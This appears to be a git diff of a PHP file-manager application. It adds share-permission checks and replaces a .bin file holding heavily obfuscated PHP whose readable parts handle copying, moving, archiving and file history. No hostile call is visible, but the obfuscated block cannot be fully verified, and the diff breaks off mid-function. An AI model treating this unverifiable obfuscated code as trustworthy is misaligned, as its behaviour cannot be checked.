diff --git a/app/controller/explorer/auth.class.php b/app/controller/explorer/auth.class.php
index db5056da..fccafe5b 100755
--- a/app/controller/explorer/auth.class.php
+++ b/app/controller/explorer/auth.class.php
@@ -412,6 +412,11 @@ public function checkShare($shareID,$sourceID,$method){
if($timeout > 0 && $timeout < time()){
return $this->errorMsg(LNG('explorer.share.expiredTips'));
}
+
+ // 关闭协作分享的;
+ if($shareInfo['isShareTo'] == '0'){
+ return $this->errorMsg(LNG('explorer.share.notExist').'[status=0]');
+ }
// 内部协作分享有效性处理: 当分享者被禁用,没有分享权限,所在文件不再拥有分享权限时自动禁用外链分享;
if(!Action('explorer.authUser')->canShare($shareInfo)){
diff --git a/app/controller/explorer/authUser.class.php b/app/controller/explorer/authUser.class.php
index 0ce83aed..59f99378 100755
--- a/app/controller/explorer/authUser.class.php
+++ b/app/controller/explorer/authUser.class.php
@@ -54,6 +54,8 @@ public function canShare($shareInfo){
if(!$shareInfo['sourcePath'] && $shareInfo['sourceID'] != '0'){
$shareInfo['sourcePath'] = KodIO::make($shareInfo['sourceID']);
}
+ if($shareInfo['isLink'] == '0' && $shareInfo['isShareTo'] == '0'){return false;}
+ if($shareInfo['userID'] == '0'){return true;} // 系统分享,允许访问;
// 系统分享;则不检测;
$isSystemSource = '/systemPath/systemSource/';
diff --git a/app/sdks/archiveLib/bin/data.bin b/app/sdks/archiveLib/bin/data.bin
index fb7b79bc..3f774f16 100755
--- a/app/sdks/archiveLib/bin/data.bin
+++ b/app/sdks/archiveLib/bin/data.bin
@@ -1,2 +1,2 @@
pathParse[$[1235]]) { $ = $鍭; $߲ = $鍭->pathParse[$[1235]]; $鍭 = self::driverMake($߲); } if ($ɥқ->pathParse[$[1235]]) { $ = $ɥқ->pathParse[$[1235]]; $ɥқ = self::driverMake($); } $芦 = $鍭->pathFather($ʈ); $ۛ = !0; if (!$Ɯ && self::driverIsSame($ɥқ, $鍭)) { $ۛ = !1; } $ݯ = self::copyFile($ɥқ, $, $鍭, $芦, $Ǯ[$[32]], $ۛ); if ($) { $ݯ = $->getPathOuter($ݯ); } return $ݯ; } private static function copyMove($, $ڬ, $Ȱ, $縶, $ = false) { $둻 =& $_SERVER[՟]; if (!$ || $ == $둻[8] || !$ڬ) { return !1; } ignore_timeout(); $ = self::driverMake($); $ = self::driverMake($ڬ); $ڟ = $縶 == $둻[629]; $ = !1; if ($->pathParse[$둻[1235]]) { $ = $; $ڬ = $->pathParse[$둻[1235]]; $ = self::driverMake($ڬ); } if ($->pathParse[$둻[1235]]) { $ = $->pathParse[$둻[1235]]; $ = self::driverMake($); } self::check($, $, $, $ڬ); Hook::trigger($둻[1236], $, $, $, $ڬ); $ = self::driverIsSame($, $); if ($) { if ($縶 == $둻[629] && !method_exists($, $둻[1237]) && trim($ڬ, $둻[8]) == trim($->pathFather($), $둻[8])) { if ($->pathThis($) != $ && !$->isOsDriver()) { return $->rename($, $); } return $->getPathOuter($); } if (method_exists($, $縶)) { return $->{$縶}($, $ڬ, $Ȱ, $); } } if ($ && $縶 == $둻[629] && $->getType() == $둻[119]) { $ = $->movePath($, $ڬ, $); if ($) { return $; } } $چ = $->isFile($); if (!$چ && $->getType() == $둻[841] && $->getType() == $둻[119]) { $ = $->copyFolderFromIO($, $, $ڬ, $Ȱ, $ڟ, $); } else { $ = self::copyPath($, $, $, $ڬ, $Ȱ, $ڟ, $چ, $); } if ($ && $ڟ) { $->remove($); } if ($) { $ = $->getPathOuter($); } return $; } private static function check($, $ݱěʇ, $͓, &$Ĥ) { $ =& $_SERVER[՟]; if (self::driverIsSame($, $͓) && $->isFolder($ݱěʇ) && $->isParentOf($ݱěʇ, $Ĥ)) { show_json(LNG($[1238]), !1); } if (!$->exist($ݱěʇ)) { show_json(LNG($[118]), !1); } } private static function copyPath($â, $ш, $հ, $, $, $, $, $ = false, $ȑ = true) { $ =& $_SERVER[՟]; $ҝ = empty($) && $ !== $[238] ? $â->pathThis($ш) : $; if ($) { $ = $հ->fileNameExist($, $ҝ); $Ƶ = $ҝ; $ҝ = $հ->fileNameAuto($, $ҝ, $, !$); if (!$ || $Ƶ != $ҝ) { $ = !1; } if ($ȑ && !$) { $հ->_data[$[1239]] = !0; } } if ($) { return self::copyFile($â, $ш, $հ, $, $ҝ, $); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $Ӷ = rtrim($, $[8]) . $[8] . $ҝ; $琬 = $հ->mkdir($հ->getPath($Ӷ), $); $ = $հ->getPathInner($琬); $ꎚ݇ = $â->listPath($ш, !0); $ꎚ݇ = is_array($ꎚ݇) ? $ꎚ݇ : array($[96] => array(), $[95] => array()); $ = array_merge($ꎚ݇[$[96]], $ꎚ݇[$[95]]); foreach ($ as $χ) { $⋕ = $χ[$[33]] == $[240]; $ш = $â->getPathInner($χ[$[97]]); $ᩕ = self::copyPath($â, $ш, $հ, $, $, $, $⋕, !1, !1); if (!$ᩕ) { IO::errorTips($[1240] . $ш . $[83] . $); } } self::copyMoveKeepInfo($â, $ш, $琬); return $琬; } private static function copyFile($א, $, $˗, $ʸ, $, $Ȇ) { $ի =& $_SERVER[՟]; $ʸ = $˗->getPath(rtrim($ʸ, $ի[8]) . $ի[8] . $); $۾ = $ի[1241] . time() . rand_string(5); Hook::trigger($ի[1242], $א, $, $˗, $ʸ, $, $۾); if (self::driverIsSame($א, $˗)) { if ($Ȇ) { $ӿ = $˗->moveFile($, $ʸ); } else { $ӿ = $˗->copyFile($, $ʸ); } Hook::trigger($ի[1243], $א, $, $˗, $ʸ, $, $ӿ); self::copyMoveKeepInfo($א, $, $ӿ); return $ӿ; } $ = TEMP_FILES; if ($GLOBALS[$ի[6]][$ի[102]][$ի[880]]) { $ = $GLOBALS[$ի[6]][$ի[102]][$ի[880]]; } $ = $; mk_dir($); $ǵ = $ . $۾; $˰ = $ǵ; $ǵ = $א->download($, $ǵ); $ǵ = $א->iconvApp($ǵ); if (substr($ǵ, strlen($)) == $) { $Ȇ = !0; } $ӿ = $˗->upload($ʸ, $ǵ, $Ȇ); self::remove($˰); Hook::trigger($ի[1243], $א, $, $˗, $ʸ, $, $ӿ); self::copyMoveKeepInfo($א, $, $ӿ); return $ӿ; } private static function copyMoveKeepInfo($, $, $л) { if (!$л) { return; } $ = $->info($); if (!is_array($)) { return; } IO::setModifyTime($л, $[$_SERVER[՟][98]]); } public static function pathFather($) { $ң = IO::init($); $ = $ң->pathFather($ң->path); return $ң->getPathOuter($); } public static function fileOut($䯸, $ = false, $ = false, $瓸 = '') { $dz = self::driverMake($䯸); if ($dz->isFileOutServer()) { return $dz->fileOutServer($䯸, $, $, $瓸); } return $dz->fileOut($䯸, $, $, $瓸); } public static function fileOutImage($, $ = 250) { $ = array(250, 600, 1200, 2000, 3000, 5000); for ($ = 0; $ < count($); $++) { if ($ == 0 && $ <= $[$]) { $ = $[$]; break; } else { if ($ > $[$ - 1] && $ <= $[$]) { $ = $[$]; break; } else { if ($ == count($) - 1 && $ > $[$]) { $ = $[$]; break; } } } } $픭 = self::driverMake($); if ($픭->isFileOutServer()) { return $픭->fileOutImageServer($, $); } return $픭->fileOutImage($, $); } private static function driverIsSame($, $) { $ש =& $_SERVER[՟]; $ܥĦ = $->getType(); $ݯڦ = $->getType(); if ($ܥĦ != $ݯڦ) { return !1; } if ($ܥĦ == $ש[841]) { return !0; } if ($ܥĦ == $ש[119]) { return !0; } if ($->pathDriver == $->pathDriver) { return !0; } return !1; } public static function copyUpdate($ϻ, $ૣ) { $؍ =& $_SERVER[՟]; if (!IO::exist($ϻ)) { return !1; } if (!IO::exist($ૣ)) { IO::mkdir($ૣ); } $Ί = array_to_keyvalue(self::listAllSimple($ϻ), $؍[97]); $ͨ脝 = array_to_keyvalue(self::listAllSimple($ૣ), $؍[97]); $Ȋ = array(); $ʋ = array(); foreach ($Ί as $ => $ʛ敖) { if (isset($ͨ脝[$])) { if ($ʛ敖[$؍[88]] == 1) { continue; } if ($ͨ脝[$][$؍[89]] == $ʛ敖[$؍[89]]) { continue; } } if ($ʛ敖[$؍[88]] == 1) { $ʋ[] = $ૣ . $؍[8] . trim($, $؍[8]); continue; } $ = strstr(trim($, $؍[8]), $؍[8]) ? get_path_father($) : $؍[12]; $Ȋ[] = array($؍[1244] => $ʛ敖[$؍[99]], $؍[1245] => rtrim($ૣ, $؍[8]) . $؍[8] . $, $؍[1246] => $ʛ敖); } $ = array($؍[240] => $Ȋ, $؍[88] => $ʋ); Hook::trigger($؍[1247], $ϻ, $ૣ, $); foreach ($ʋ as $ʛ敖) { IO::mkdir($ʛ敖); } foreach ($Ȋ as $ʛ敖) { IO::copy($ʛ敖[$؍[1244]], $ʛ敖[$؍[1245]], REPEAT_REPLACE); } } public static function fileSubstr($, $, $ֱٙ = false) { $ =& $_SERVER[՟]; $۔ = self::driverMake($); $ƌ = $۔->size($); $ = $; $܉ = $ֱٙ; if ($ < 0) { $ = $ƌ + $; } if ($ֱٙ === !1) { $ֱٙ = $ƌ - $; } if ($ + $ֱٙ > $ƌ) { $ֱٙ = $ƌ - $; } if (!$ƌ && $۔->getType() == $[119] && !$۔->exist($)) { $Ҩ = get_path_this($); $ = parse_url_query($Ҩ); if (is_array($) && isset($[$[32]])) { $Ҩ = urldecode($[$[32]]); } throw new Exception($[1248] . LNG($[1249]) . $[1047] . clear_html($Ҩ) . $[12]); } if ($ֱٙ <= 0) { return $[12]; } if ($ < 0 || $ >= $ƌ || $ֱٙ > 1024 * 1024 * 10) { throw new Exception("\146\x69\x6c\x65\x52\x65\141\x64\40\x65\x72\162\x6f\162\41\40\163\164\141\x72\x74\x3d{$}\73\154\145\x6e\x67\x74\150\75{$ֱٙ}\73\x20\x73\x69\x7a\145\x3d{$ƌ}\73"); } $ = $۔->fileSubstr($, $, $ֱٙ); if (!$ && $ֱٙ && isset($GLOBALS[$[1250]])) { throw new Exception($GLOBALS[$[1250]][$[1251]]); } return $; } private static function driverMake(&$黙) { $ǀ =& $_SERVER[՟]; $ʅ˗ = KodIO::parse($黙); if (!self::$driverListSystem) { $ = Model($ǀ[851])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $ǀ[484]); } if ($ʅ˗[$ǀ[33]] == KodIO::KOD_IO && !self::$driverListSystem[$ʅ˗[$ǀ[484]]]) { throw new Exception($ǀ[1252]); return !1; } $黙 = $ʅ˗[$ǀ[1253]]; $ֱ = self::driverGet($ʅ˗, $黙); return $ֱ; } private static function driverGet($ܢ, &$߄) { $ =& $_SERVER[՟]; $ᤍ = $ܢ[$[1254]]; $ߙ = $ܢ[$[484]]; switch ($ܢ[$[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$ߙ]; break; case KodIO::KOD_SOURCE: $߄ = $ߙ . $߄; $ = array($[1255] => $[1256], $[6] => $ܢ); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ = $GLOBALS[$[1257]]; self::$driverListUser = array_to_keyvalue($, $[484]); } $ = self::$driverListUser[$ߙ]; break; case KodIO::KOD_SHARE_LINK: $ = array($[1255] => $[1258], $[6] => $ܢ); $ = Action($[1259])->sharePathInfo($ܢ[$[97]]); $߄ = $[$[203]]; if (!$[$[203]]) { $ = Model($[673])->getInfo($[$[674]]); $߄ = KodIO::clear($[$[1260]] . $ܢ[$[1253]]); $ܢ[$[569]] = $; $ܢ[$[1235]] = $߄; $ = array($[1255] => $[1261], $[6] => $ܢ); } break; case KodIO::KOD_SHARE_ITEM: $ = array($[1255] => $[1262], $[6] => $ܢ); $ = Model($[673])->getInfo($ܢ[$[484]]); if ($[$[203]] == $[238]) { $߄ = KodIO::clear($[$[1260]] . $ܢ[$[1253]]); $ܢ[$[569]] = $; $ܢ[$[1235]] = $߄; $ = array($[1255] => $[1263], $[6] => $ܢ); } else { if (!$߄) { $߄ = $[$[203]]; } } break; default: $߄ = $ܢ[$[97]]; $ = array($[1255] => $[1264]); break; } $ʶ = $ܢ[$[97]]; if (!isset(self::$driverCache[$ʶ])) { $薑 = strtolower($[$[108]]); $ = $GLOBALS[$[6]][$[102]][$[909]]; $ = $[87] . (isset($[$薑]) ? $[$薑] : ucfirst($薑)); if (!class_exists($)) { show_json("{$}\40\156\x6f\x74\x20\145\x78\151\163\164\x73\41", !1); } $ = isset($[$[6]]) ? $[$[6]] : !1; self::$driverCache[$ʶ] = new $($); } $ = self::$driverCache[$ʶ]; $->pathDriver = $ᤍ; $->pathBase = $[12]; if (isset($[$[6]][$[1265]])) { $->pathBase = rtrim($[$[6]][$[1265]], $[8]) . $[8]; $߄ = $->pathBase . ltrim($߄, $[8]); } $߄ = $->getPath($߄); if (isset($ܢ[$[1235]])) { $߄ = $ܢ[$[1235]]; } $->path = $߄; return $; } public static function errorTips($ض = false) { $ =& $_SERVER[՟]; static $ = array(); $¼ = 1000; if ($ض === -1) { return $ ? $[count($) - 1] : $[12]; } if ($ض === !1) { return implode($[59], $); } if (count($) >= $¼) { $ = array_slice($, $¼ * 0.5, $¼); } $[] = $ض; write_log($[186] . ACTION . $[1266] . $ض, $[1267]); } public static function getLastError($㎵ = '') { $η = self::errorTips(-1); return $η ? $η : $㎵; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if ($) { return $; } $Վ = IO::init($_SERVER[՟][8]); return $Վ; } private static function iconvSystem($ۨ) { return self::local()->iconvSystem($ۨ); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($Ͷ, $ = "\172\x69\x70", $ = '', $ = REPEAT_RENAME) { $ޠ® =& $_SERVER[՟]; $ = IO::listPath($Ͷ); if (!$) { return !1; } $ = array_merge($[$ޠ®[95]], $[$ޠ®[96]]); return self::zip($, $, $, $); } public static function zip($, $橲؍ = "\172\x69\160", $ = '', $߶ = REPEAT_RENAME) { $ =& $_SERVER[՟]; if (is_string($) && $) { $ = array(array($[97] => $)); } $ϭ = self::init($[0][$[97]]); $νό = self::info($[0][$[97]]); $ = $[12]; $܂ = $[12]; $ʸ = $[12]; if ($ && substr($, -1, 1) != $[8]) { $܂ = get_path_father($); $ʸ = get_path_this($); } else { $܂ = self::pathFather($νό[$[97]]); $ʸ = $νό[$[32]] . $[10] . $橲؍; if (count($) > 1) { $ = IO::info($܂); $ʸ = $[$[32]] . $[10] . $橲؍; } if ($) { $܂ = $; } } if ($ϭ->getType() == $[119]) { $Ʋ = self::init($܂); $ю = $Ʋ->getType() == $[119] ? $܂ : get_path_father($ϭ->path); $ю = rtrim($ю, $[8]) . $[8]; mk_dir($ю); } else { $ = TEMP_FILES . $[1268] . time() . rand_string(8) . $[8]; mk_dir($); file_put_contents($ . $[1269], $[12]); $ю = $; } $ = IO::info($ю); if (!$ || !$[$[243]]) { show_json(LNG($[1270]), !1); } $Ę = self::zipFileList($, $); foreach ($Ę as $Ңň => $Ʊƀ) { $Ę[$Ңň] = self::iconvSystem($Ʊƀ); } $ߞ = get_filename_auto($ю . $ʸ, $[12], $߶); KodArchive::create(self::iconvSystem($ߞ), $Ę); if (!IO::exist($ߞ)) { if ($) { del_dir($); } write_log($[1271] . $ߞ, $[398]); show_json(LNG($[1272]), !1); } if (!$) { return $ߞ; } $ = self::move($ߞ, $܂, $߶); if ($) { del_dir($); } if (!$ߞ) { write_log($[1273] . $ߞ . $[1274] . $܂, $[398]); show_json(LNG($[1272]), !1); } return $; } public static function unzip($û, $, $ܠ = "\x2d\x31", $ߣ = "\162\145\x70\x6c\141\143\145") { $ӺƎ =& $_SERVER[՟]; $ = parent::info($û); if (!$) { show_json(LNG($ӺƎ[1275]), !1); } $ = IO::infoFullSimple($); if (!$) { $ = IO::mkdir($); } if (isset($[$ӺƎ[203]]) && trim($[$ӺƎ[97]], $ӺƎ[8]) != trim($, $ӺƎ[8])) { $㐜 = KodIO::make($[$ӺƎ[202]]); $ = IO::fileNameAuto($㐜, $[$ӺƎ[32]], REPEAT_RENAME_FOLDER, !0); $ = IO::mkdir($㐜 . $); } $ܠ = $ܠ && $ܠ != $ӺƎ[1276] ? @json_decode($ܠ, !0) : -1; $݃ = self::unzipPart($û, $ܠ); if (!$݃ || !IO::exist($݃[$ӺƎ[240]])) { show_json(LNG($ӺƎ[118]), !1); } $ƪ = $݃[$ӺƎ[1277]][count($݃[$ӺƎ[1277]]) - 1]; if ($ƪ[$ӺƎ[1278]] == -1 || substr($ƪ[$ӺƎ[32]], -1, 1) == $ӺƎ[8]) { $́ = $݃[$ӺƎ[1279]] . rand_string(10) . $ӺƎ[8]; mk_dir($́); $ = count($݃[$ӺƎ[1277]]) == 1 ? IO::ext($û) : get_path_ext($݃[$ӺƎ[240]]); $ = KodArchive::extract(self::iconvSystem($݃[$ӺƎ[240]]), $́, $ƪ[$ӺƎ[1278]], $, $); self::unzipErrorCheck($, array($ӺƎ[1280], $û, $, $, $݃)); Hook::trigger($ӺƎ[1281], $́); recursion_dir($́, $, $, 0); $̈ϴ = array_merge($, $); $ = array(); foreach ($̈ϴ as $ӡ) { $㜣 = IO::move(self::iconvApp($ӡ), $, $ߣ); if ($㜣) { $[] = $㜣; } } del_dir($́); } else { $㜣 = IO::move($݃[$ӺƎ[240]], $, $ߣ, get_path_this($ƪ[$ӺƎ[32]])); if ($㜣) { $[] = $㜣; } } return $ ? $ : !1; } public static function unzipList($Ő) { $倊ٹ =& $_SERVER[՟]; $ħХ = isset($Ő[$倊ٹ[1282]]) ? $Ő[$倊ٹ[1282]] : !1; $Ǽ = isset($Ő[$倊ٹ[1278]]) ? @json_decode($Ő[$倊ٹ[1278]], !0) : -1; $ј = self::unzipPart($Ő[$倊ٹ[97]], $Ǽ); if (!$ј || !IO::exist($ј[$倊ٹ[240]])) { show_json(LNG($倊ٹ[118]), !1); } $ = $ј[$倊ٹ[1277]][count($ј[$倊ٹ[1277]]) - 1]; $ע = in_array(IO::ext($ј[$倊ٹ[240]]), array($倊ٹ[398], $倊ٹ[1283], $倊ٹ[1284], $倊ٹ[1285], $倊ٹ[1286], $倊ٹ[1287])); if (!$ħХ && ($[$倊ٹ[1278]] == -1 || $ע)) { $ճ = $ј[$倊ٹ[1279]] . get_path_this($ј[$倊ٹ[240]]) . $倊ٹ[1288]; if (!IO::exist($ճ)) { $ă = $[$倊ٹ[1278]] == -1 ? get_path_ext(IO::pathThis($Ő[$倊ٹ[97]])) : get_path_ext($ј[$倊ٹ[240]]); $ʻ = KodArchive::listContent(self::iconvSystem($ј[$倊ٹ[240]]), !0, $ă); self::unzipErrorCheck($ʻ, array($倊ٹ[1289], $Ő, $ј)); @file_put_contents($ճ, json_encode($ʻ[$倊ٹ[1290]])); } return @json_decode(IO::getContent($ճ), !0); } IO::fileOut($ј[$倊ٹ[240]], $ħХ, get_path_this($[$倊ٹ[32]])); die; } private static function zipFileList($ϸ܂, $ = false) { $ =& $_SERVER[՟]; $ε، = array(); foreach ($ϸ܂ as $) { $Ȼ = $[$[97]]; if ($) { $Ȼ = self::copy($[$[97]], $, $[902]); } else { $ = self::init($[$[97]]); if ($->getType() == $[119]) { $Ȼ = $->path; } } if ($Ȼ && self::local()->exist($Ȼ)) { $ε،[$[$[97]]] = $Ȼ; } } if (!empty($ε،)) { return array_values($ε،); } show_json(LNG($[1249]), !1); } private static function localFilePath($ɋ) { $ =& $_SERVER[՟]; $Π = KodIO::parse($ɋ); if ($Π[$[33]] == KodIO::KOD_SOURCE) { $ = Model($[908])->fileInfoGet(KodIO::sourceID($ɋ)); if (!$[$[97]]) { show_json($[1291], !1); } $ɋ = $[$[97]]; } $ = self::init($ɋ); if ($->pathParse[$[1235]]) { $ɋ = $->pathParse[$[1235]]; $ = self::init($ɋ); } $جͬ = $->getType(); if ($جͬ == $[119] || $جͬ == $[1292]) { if (!$->exist($->path)) { show_json(LNG($[118]), !1); } return $->path; } return !1; } public static function unzipPart($, $Ӫ = -1) { $㵓 =& $_SERVER[՟]; $¤ = IO::pathThis($); if (!$Ӫ || $Ӫ == -1) { $؉ = array(array($㵓[32] => $¤, $㵓[1278] => -1)); $؉[0][$㵓[1293]] = $؉[0][$㵓[32]]; } else { if (is_array($Ӫ)) { $؉ = $Ӫ; $ = count($؉) - 1; for ($뛙 = 0; $뛙 <= $; $뛙++) { $
= $؉[$뛙]; $ = get_path_this($
[$㵓[32]]) . (checkExtSafe($
[$㵓[32]]) ? $㵓[12] : $㵓[1294]); $؉[$뛙][$㵓[1293]] = $㵓[1295] . intval($
[$㵓[1278]]) . $㵓[471] . $; if ($뛙 == 0) { continue; } $؉[$뛙][$㵓[1293]] = $؉[$뛙 - 1][$㵓[1293]] . $㵓[1296] . $؉[$뛙][$㵓[1293]]; } } } if (!is_array($؉) || count($؉) == 0) { return !1; } $È = $؉[count($؉) - 1]; if (!IO::exist($)) { return !1; } $ = TEMP_FILES . $㵓[1297] . kodIO::hashPathSafe($) . $㵓[8]; $߫ = $ . $È[$㵓[1293]]; mk_dir($); file_put_contents(TEMP_FILES . $㵓[1269], $㵓[12]); if (IO::exist($߫)) { return array($㵓[240] => $߫, $㵓[1277] => $؉, $㵓[1279] => $); } $ = self::localFilePath($); if (!$) { $ = $ . $㵓[1298]; if (!IO::exist($)) { self::copy($, $, !1, get_path_this($)); } } if (!$ || !IO::exist($)) { return !1; } if ($È[$㵓[1278]] == -1) { return array($㵓[240] => $, $㵓[1277] => $؉, $㵓[1279] => $); } $ᷱ = $; foreach ($؉ as $뛙 => $
) { if (!$
|| $
[$㵓[1278]] == $㵓[1276]) { break; } if (substr($
[$㵓[32]], -1, 1) == $㵓[8]) { break; } $Μ = in_array(get_path_ext($
[$㵓[1293]]), array($㵓[398], $㵓[1283], $㵓[1284], $㵓[1285], $㵓[1286], $㵓[1287])); $Ʈǖ = $뛙 == count($؉) - 1 && $Μ; $Г = $ . $
[$㵓[1293]]; $қ˨ = $ . get_path_this($
[$㵓[32]]); if (IO::exist($Г)) { $ᷱ = $Г; continue; } $술 = $뛙 == 0 ? get_path_ext($¤) : get_path_ext($ᷱ); $̠ = KodArchive::extract(self::iconvSystem($ᷱ), $, $
[$㵓[1278]], $Қͻ, $술); self::unzipErrorCheck($̠, array($㵓[1299], $, $؉, $
, $Г)); if (IO::exist($қ˨)) { IO::rename($қ˨, get_path_this($Г)); } $ᷱ = $Г; } $߫ = $ᷱ; return array($㵓[240] => $ᷱ, $㵓[1277] => $؉, $㵓[1279] => $); } private static function unzipErrorCheck($Ŀ, $္ = false) { $Ų =& $_SERVER[՟]; if ($Ŀ[$Ų[1300]]) { return !0; } write_log(array($Ų[1301], $Ŀ, $္), $Ų[1302]); show_json($Ų[1303] . json_encode($Ŀ[$Ų[1290]]), !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[՟]; $ = $GLOBALS[$[6]][$[102]]; if ($[$[1304]] != 1) { return; } if ($[$[1305]] <= 0) { return; } if (isset($_REQUEST[$[1306]]) && $_REQUEST[$[1306]] == $[101]) { return; } Hook::bind($[1307], $[1308]); Hook::bind($[1309], $[1310]); Hook::bind($[1311], $[1312]); Hook::bind($[1313], $[1314]); Hook::bind($[1315], $[1316]); Hook::bind($[1317], $[1318]); } public static function eventBeforeUpload($ڰ) { if ($ڰ[3] && $ڰ[3] != REPEAT_REPLACE) { return; } $ = self::parsePath($ڰ[0]); if (!$) { return; } self::add($); } public static function eventBeforeEdit($) { $ = self::parsePath($[0]); if (!$) { return; } self::add($); } public static function eventBeforeCopyFile($څ, $빝ˍ, $, $ى, $, $ы) { $ =& $_SERVER[՟]; if (isset($->_data[$[1239]]) && $->_data[$[1239]]) { return; } $̸ = $->getPathOuter($ى); $뉾 = self::parsePath($̸); if (!$뉾) { return; } self::add($뉾); } public static function eventBeforeRename($) { $㍲ =& $_SERVER[՟]; $ = self::parsePath($[0]); if (!$) { return; } $ = self::checkInHistory($); if (!$) { return; } if ($[$㍲[33]] == $㍲[240]) { $ͣ = self::listData($); if ($ͣ && $ͣ[$㍲[454]]) { self::moveHistory($, $[1]); } } else { IO::rename($[$㍲[97]], $[1]); } } public static function eventBeforeMove($Ӈ) { $ =& $_SERVER[՟]; $꾪 = self::parsePath($Ӈ[0]); if (!$꾪) { return; } $ = self::parsePath($Ӈ[1]); if (!$) { return; } $ʾ˄ = $Ӈ[3]; $ = self::checkInHistory($꾪); if (!$) { return; } $ߟ = self::pathHistory($); if ($[$[33]] == $[240]) { $ = self::listData($꾪); $ऴ = rtrim($, $[8]) . $[8] . ($ʾ˄ ? $ʾ˄ : get_path_this($꾪)); $ܖ = self::listData($ऴ); if ($ && $[$[454]] && $ܖ && $ܖ[$[454]]) { return self::clear($꾪); } if ($ && $[$[454]]) { self::moveHistory($꾪, $ʾ˄, $ߟ); } } else { IO::move($[$[97]], $ߟ, !1, $ʾ˄); self::clearEmptyFolder(IO::pathFather($[$[97]])); } } public static function eventAfterRemove($, $) { $ =& $_SERVER[՟]; if (!$) { return; } $ = self::parsePath($[0]); if (!$) { return; } $à = self::checkInHistory($); if (!$à) { return; } if ($à[$[33]] == $[240]) { $ɩ = self::listData($, !1); if ($ɩ && $ɩ[$[454]]) { self::clear($, !1); } } else { IO::remove($à[$[97]]); self::clearEmptyFolder(IO::pathFather($à[$[97]])); } } private static function checkInHistory($) { $ = self::pathHistory($); if (!IO::exist($)) { $ .= $_SERVER[՟][1319]; } return IO::exist($) ? IO::info($) : !1; } private static function parsePath($糱) { $Ͳ =& $_SERVER[՟]; if (!$糱) { return !1; } if (isset($GLOBALS[$Ͳ[1320]]) && $GLOBALS[$Ͳ[1320]]) { return; } $Ѱ = KodIO::parse($糱); $ҋ = $Ѱ[$Ͳ[33]]; $Ϣ = !$ҋ || $ҋ == KodIO::KOD_IO || $ҋ == KodIO::KOD_SHARE_ITEM; if (!$Ϣ || !$Ѱ[$Ͳ[1321]]) { return !1; } if (substr($糱, 0, strlen(DATA_PATH . $Ͳ[1322])) == DATA_PATH . $Ͳ[1322]) { return !1; } if ($ҋ == KodIO::KOD_SHARE_ITEM) { $ܲȚ = IO::init($糱); if ($ܲȚ->pathParse[$Ͳ[1235]]) { return self::parsePath($ܲȚ->pathParse[$Ͳ[1235]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ϝ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $Ͳ[1323]); foreach ($ϝ as $˱) { if (!$ҋ && substr($糱, 0, strlen($˱)) == $˱) { return !1; } } self::log($GLOBALS[$Ͳ[1230]] . $Ͳ[1324] . $糱); return $糱; } private static function pathHistory($墔) { $̆ =& $_SERVER[՟]; $ = self::$_historyBase . ltrim(KodIO::clear($墔), $̆[8]); $ = str_replace(array($̆[1325]), array($̆[1326]), $); return $; } public static function log($Ц) { } public static function historyCount($) { $ =& $_SERVER[՟]; $ = array(); $ʽ = array(); foreach ($ as $) { $ڜ = get_path_father($); if (!$ʽ[$ڜ]) { $ʽ[$ڜ] = array(); } $ʽ[$ڜ][] = get_path_this($); } foreach ($ʽ as $ڜ => $) { $ = self::parsePath($ڜ); if (!$) { continue; } foreach ($ as $) { $ = self::listData(rtrim($, $[8]) . $[8] . $, !1); if ($ && $[$[454]]) { $[rtrim($ڜ, $[8]) . $[8] . $] = count($[$[454]]); } } } return $; } public static function add($) { $ =& $_SERVER[՟]; $ = self::listData($); if (!$) { return; } $ = Model($[854])->get($[1327]); $řօ = intval($GLOBALS[$[6]][$[102]][$[1305]]); $· = $ == $[1328] ? min(5, $řօ) : $řօ; if ($řօ <= 0) { return; } $ = IO::info($); $琵 = $[$[454]]; if ($[$[89]] == 0) { return; } if ($[$[89]] >= 1024 * 1024 * 500) { return !1; } $噽 = IO::hashSimple($); if ($琵 && $琵[0][$[681]] == $噽) { return !0; } if (array_key_exists($[243], $) && !$[$[243]]) { return !1; } $ʯ = short_id(time()); $뮻 = array($[484] => $ʯ, $[681] => $噽, $[32] => $[$[32]] . $[10] . date($[1329]) . rand_string(1), $[89] => $[$[89]], $[536] => USER_ID, $[241] => time(), $[1330] => $[12]); IO::mkdir($[$[1331]]); $ɥ = IO::copy($, $[$[1331]], !1, $뮻[$[32]]); if (!$ɥ) { self::clearEmptyFolder($[$[1331]]); return !1; } array_unshift($琵, $뮻); if (count($琵) > $·) { $졥 = array_slice($琵, $·); foreach ($졥 as $Ժ) { IO::remove($[$[1331]] . $Ժ[$[32]]); } $琵 = array_slice($琵, 0, $·); } return self::saveData($[$[1332]], $琵); } public static function remove($, $) { $ =& $_SERVER[՟]; $ʹ = self::listData($); $ = array(); if (!$ʹ) { return !1; } foreach ($ʹ[$[454]] as $) { if ($[$[484]] == $) { IO::remove($ʹ[$[1331]] . $[$[32]]); continue; } $[] = $; } return self::saveData($ʹ[$[1332]], $); } public static function clear($Ȁ, $ˌ = true) { $ұ =& $_SERVER[՟]; $ = self::listData($Ȁ, $ˌ); if (!$) { return !1; } foreach ($[$ұ[454]] as $՚) { IO::remove($[$ұ[1331]] . $՚[$ұ[32]]); } return self::saveData($[$ұ[1332]], array()); } public static function moveHistory($, $ = '', $ = '') { $ =& $_SERVER[՟]; $ɣ = self::listData($, !1); if (!$ɣ || !$ɣ[$[454]]) { return !1; } $嚽 = $[1319]; $ = $ ? $ : get_path_this($); $ = $ ? $ : $ɣ[$[1331]]; $ = substr(get_path_this($ɣ[$[1332]]), 0, -strlen($嚽)); foreach ($ɣ[$[454]] as $Ʃﮈ => $ރ) { $ = $ . substr($ރ[$[32]], strlen($)); $ = IO::move($ɣ[$[1331]] . $ރ[$[32]], $, !1, $); if ($) { $ɣ[$[454]][$Ʃﮈ][$[32]] = $; } } $ɣ[$[1332]] = IO::move($ɣ[$[1332]], $, !1, $ . $嚽); self::saveData($ɣ[$[1332]], $ɣ[$[454]]); self::clearEmptyFolder($ɣ[$[1331]]); } public static function rollback($, $) { $ =& 